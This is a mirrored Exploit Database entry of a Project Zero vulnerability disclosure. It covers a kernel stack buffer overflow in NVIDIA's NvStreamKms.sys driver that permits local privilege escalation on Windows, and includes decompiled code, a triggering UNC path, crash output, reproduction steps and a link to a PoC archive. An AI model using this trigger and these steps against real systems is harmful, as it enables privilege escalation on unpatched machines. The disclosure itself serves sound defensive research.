NVIDIA Driver – NvStreamKms ‘PsSetCreateProcessNotifyRoutineEx Local Stack Buffer Overflow Callback / Local Privilege Escalation

• Exploit Database
• 14 阅读

• 作者： Google Security Research
  日期： 2016-10-31
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40660/

• Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=918
  
  The NvStreamKms.sys driver calls PsSetCreateProcessNotifyRoutineEx to set up a
  process creation notification routine.
  
  In this particular routine,
  
  if ( cur->image_names_count > 0 ) {
  // info_ is the PPS_CREATE_NOTIFY_INFO that is passed to the routine.
  image_filename = info_->ImageFileName;
  buf = image_filename->Buffer;
  if ( buf )
  {
  if ( !v5 )
  {
  i = 0i64;
  num_chars = image_filename->Length / 2;
  // Look for the filename by scanning for backslash.
  if ( num_chars )
  {
  while ( buf[num_chars - (unsigned int)i - 1] != '\\' )
  {
  i = (unsigned int)(i + 1);
  if ( (unsigned int)i >= num_chars )
  goto LABEL_39;
  }
  buf += num_chars - (unsigned __int64)(unsigned int)i;
  }
  LABEL_39:
  v26 = (unsigned int)i;
  wcscpy_s((wchar_t *)Dst, i, buf);
  Dst[v26] = 0;
  wcslwr((wchar_t *)Dst);
  v5 = 1;
  
  wcscpy_s is used incorrectly here, as the second argument is not the size of
  |Dst|, but rather the calculated size of the filename. |Dst| is a stack buffer
  that is at least 255 characters long. The the maximum component paths of most
  filesystems on Windows have a limit that is <= 255 though, so this shouldn't be
  an issue on normal filesystems.
  
  However, one can pass UNC paths to CreateProcessW containing forward slashes as
  the path delimiter, which means that the extracted filename here can be
  "a/b/c/...", leading to a buffer overflow. Additionally, this function has no
  stack cookie.
  
  e.g.
  
  CreateProcessW(L"\\\\?\\UNC\\127.0.0.1@8000\\DavWWWRoot\\..../..../..../blah.exe", ...
  
  Crashing context with my PoC (Win 10 x64 with 372.54):
  
  NvStreamKms+0x1c6a:
  fffff801`5c791c6a c3ret
  
  kd> dqs rsp
  ffffd000`25bc5d1800410041`00410041
  
  kd> t
  
  ...
  
  KMODE_EXCEPTION_NOT_HANDLED (1e)
  ...
  FAULTING_IP:
  NvStreamKms+1c6a
  fffff800`5b1d1c6a c3ret
  
  To reproduce, a WebDAV server is required (can be localhost), and the WebClient
  service needs to be started (start can be triggered by user without additional privileges).
  
  Then, run setup to create the long path to the target executable (you'll need to
  change the base directories), and then run poc_part1, and then poc_part2 (with
  the right UNC path) on the target machine.
  
  
  Proofs of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40660.zip